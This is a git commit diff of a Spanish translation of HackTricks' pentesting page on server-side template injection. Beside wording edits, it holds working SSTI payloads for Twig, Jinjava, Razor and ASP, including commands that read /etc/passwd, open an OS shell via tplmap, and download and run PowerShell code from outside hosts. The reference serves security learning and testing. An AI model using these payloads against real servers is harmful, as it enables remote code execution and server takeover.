Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-01-10 22:20:21 +00:00
parent c670a31a04
commit 0277ec6344

View file

@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks:
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -22,9 +22,9 @@ Otras formas de apoyar a HackTricks:
## ¿Qué es la inyección de plantillas en el servidor?
Una inyección de plantillas en el servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.
Una inyección de plantillas en el servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el servidor.
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el servidor pueden ocurrir cuando la **entrada de usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar el **control completo del servidor**.
Los **motores de plantillas** están diseñados para **generar páginas web** **combinando** plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el servidor pueden ocurrir cuando la **entrada de usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar el **control completo del servidor**.
Un ejemplo de código vulnerable es el siguiente:
```php
@ -61,9 +61,9 @@ En estos casos, la **entrada del usuario** se coloca **dentro** de una **expresi
```python
engine.render("Hello {{"+greeting+"}}", data)
```
El acceso a la URL que accede a esa página podría ser similar a: `http://vulnerable-website.com/?greeting=data.username`
El acceso a la URL de esa página podría ser similar a: `http://vulnerable-website.com/?greeting=data.username`
Si **cambias** el parámetro **`greeting`** por un **valor diferente** la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de plantilla eran **`}}`**).\
Si **cambias** el parámetro **`greeting`** por un **valor diferente** la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de la plantilla eran **`}}`**).\
Si se produce un **error** durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.
### Identificar
@ -96,7 +96,7 @@ El primer paso después de encontrar la inyección de plantillas e identificar e
**Explorar**
Suponiendo que no se hayan presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a **qué tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo lo que está en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
Suponiendo que no se hayan presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a qué **tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo lo que está en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
Si no hay un objeto self integrado, tendrás que forzar nombres de variables usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) y la colección de listas de palabras de Burp Intruder.
@ -115,6 +115,12 @@ un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
@ -129,7 +135,7 @@ una tabla interactiva que contiene los políglotos de inyección de plantillas m
### Genérico
En esta **lista de palabras** puedes encontrar **variables definidas** en los entornos de algunos de los motores mencionados a continuación:
En esta **wordlist** puedes encontrar **variables definidas** en los entornos de algunos de los motores mencionados a continuación:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
@ -325,7 +331,7 @@ Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible e
**Jinjava - Ejecución de comandos**
Corregido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
Solucionado por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -351,7 +357,7 @@ Corregido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busqué "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrí el [proyecto Jinjava en Github](https://github.com/HubSpot/jinjava/).
Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el [proyecto Jinjava en Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -408,8 +414,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans gestionados). EL es utilizado por **varias tecnologías de JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Contextos y Dependencias para Java EE (CDI).\
Consulta la siguiente página para aprender más sobre la **explotación de intérpretes de EL**:
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans gestionados). EL es utilizado por **varias tecnologías JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y Contexts and Dependency Injection para Java EE (CDI).\
Consulta la siguiente página para aprender más sobre la **explotación de intérpretes EL**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -488,6 +494,10 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Formato de plantilla**
```php
@ -612,7 +622,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila, utiliza etiquetas XML para dividir un documento en diferentes partes.
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila, utiliza etiquetas XML para dividir un documento en diferentes partes
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -668,7 +678,7 @@ URLencoded:
| | Evaluar y renderizar salida |
| | Evaluar y renderizar salida codificada en HTML |
| | Comentario |
| y | Permitir código (deshabilitado por defecto) |
| and | Permitir código (deshabilitado por defecto) |
* \= 49
@ -854,7 +864,7 @@ ${x}
* `@{} <= ¡ERROR!`
* `@{ <= ¡ERROR!`
* `@(1+2)`
* `@( //C#Code )`
* `@( //Código C# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
@ -874,7 +884,7 @@ El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para ini
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Más Información**
**Más información**
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
@ -890,7 +900,7 @@ Aunque es Perl, utiliza etiquetas como ERB en Ruby.
```
### SSTI en GO
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes usar estos payloads:
La forma de confirmar que el motor de plantillas utilizado en el backend es Go es usar estos payloads:
* `{{ . }}` = estructura de datos que se pasa como entrada a la plantilla
* Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, el payload anterior lo revelaría, pero también podrías hacer: `{{ .Password }}`
@ -908,7 +918,7 @@ Sin embargo, Go permite **DEFINIR** una **plantilla** completa y luego **llamarl
La documentación para el módulo html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente a cualquier función pública con el valor “call”**, sin embargo, esto no es posible con html/template.
Si quieres encontrar un RCE en go a través de SSTI, debes saber que, así como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos del objeto**. Así que, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
Si quieres encontrar un RCE en Go a través de SSTI, debes saber que, así como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos del objeto**. Así que, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería como:
```go
func (p Person) Secret (test string) string {
@ -923,9 +933,9 @@ return string(out)
### Más Exploits
Consulta el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para más exploits. También puedes encontrar información interesante sobre etiquetas en [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Revisa el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para más exploits. También puedes encontrar información interesante sobre etiquetas en [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## PDF de BlackHat
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
@ -940,6 +950,8 @@ Si crees que podría ser útil, lee:
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
@ -966,7 +978,7 @@ Si crees que podría ser útil, lee:
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**